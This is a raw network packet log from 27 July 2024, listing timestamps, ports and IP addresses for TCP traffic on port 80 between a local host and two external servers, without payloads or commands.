Jul 27, 2024 05:39:11.581262112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581295967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581302881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581336021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581360102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581367016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581386089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581398964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581413984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581433058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581445932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581465006 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581495047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581496000 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581516027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581527948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581557035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581562042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581574917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581599951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581604958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581639051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581665993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581669092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581691980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581701994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581737995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581768990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581799984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581830978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581859112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581862926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581886053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581896067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581923962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581928968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581954002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581962109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.581974030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.581995010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582005978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582027912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582040071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582061052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582072020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582093954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582102060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582125902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582139015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582169056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582170010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582196951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.582209110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.582238913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.655189991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655232906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655268908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655303001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655334949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655368090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655400038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655436039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.655489922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.655544043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660432100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660465956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660507917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660530090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660545111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660578012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660593033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660612106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660621881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660644054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660656929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660681009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660691977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660716057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660734892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660748959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660761118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660778999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660793066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660811901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660829067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660844088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660855055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.660876036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660892963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.660909891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.661036015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664473057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664546967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664571047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664576054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664602995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664609909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664623022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664660931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664669037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664711952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664784908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664832115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664834976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664879084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664882898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664916992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664933920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664948940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664958954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.664983034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.664993048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665018082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665052891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665085077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665088892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665126085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665134907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665169001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665179014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665200949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665219069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665232897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665244102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665271997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665277958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665304899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665322065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665337086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665348053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665370941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665397882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665404081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665417910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665446043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665448904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665498018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665502071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665530920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665549994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665564060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665574074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665596962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665606976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665636063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665643930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665690899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665694952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665729046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665746927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665761948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665774107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665796995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665802956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665831089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665848970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665863991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665888071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665896893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665905952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665931940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665937901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665965080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.665976048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.665997982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.666027069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.666028976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.666052103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.666062117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.666069984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.666095018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.666106939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.666127920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.666140079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.666169882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.670936108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.670964003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.670998096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671014071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671017885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671057940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671063900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671108961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671122074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671158075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671175003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671190977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671211958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671226025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671236992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671260118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671273947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671293020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671317101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671324968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671336889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671376944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671390057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671420097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671427011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671462059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671473980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671506882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671509981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671542883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671559095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671592951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671605110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671627998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671638012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671663046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671677113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671706915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671708107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671741009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671751022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671777010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671787977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671809912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671821117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671844959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671854019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671878099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671889067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671911955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671916962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671947002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671957970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.671979904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.671989918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.672013998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.672024012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.672060966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:12.213054895 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:12.214205027 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.215498924 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.220283031 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:12.372016907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:12.372075081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:12.377680063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:12.377721071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:12.377748013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:12.377775908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:12.377810001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:12.467391968 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:12.468717098 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.581023932 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.581562996 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.586555004 CEST	80	49479	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:12.586617947 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:12.586633921 CEST	49479	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.586699963 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.586896896 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:12.592430115 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.143574953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:13.143805981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:13.247978926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:13.248148918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:13.253094912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:13.253158092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:13.253187895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:13.339855909 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.340024948 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.341147900 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.346004963 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.595046997 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.595136881 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.705703974 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.705995083 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.710979939 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.711100101 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.711199045 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.711790085 CEST	80	49480	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:13.711862087 CEST	49480	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:13.716218948 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.045351982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:14.045615911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:14.074374914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:14.079442024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:14.453448057 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.453717947 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.475837946 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.480698109 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.704082966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:14.704174042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:14.721165895 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.721246004 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.830738068 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.831056118 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.835994005 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.836230040 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.836536884 CEST	80	49481	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:14.845470905 CEST	49481	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.845859051 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:14.850909948 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.164463043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:15.169492960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:15.594605923 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.594692945 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.595422983 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.600236893 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.759639025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:15.759721041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:15.844331980 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.844424963 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.955574989 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.955898046 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.960844994 CEST	80	49483	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.960939884 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.961039066 CEST	80	49482	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:15.961071968 CEST	49483	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.961097002 CEST	49482	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:15.965868950 CEST	80	49483	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:16.202980042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.207938910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455485106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455545902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455575943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455599070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455620050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455646992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455668926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455701113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455723047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455749989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455750942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455750942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455750942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455750942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455750942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455774069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:16.455785990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:16.455785990 CEST	49477	80	192.168.2.4	85.28.47.31
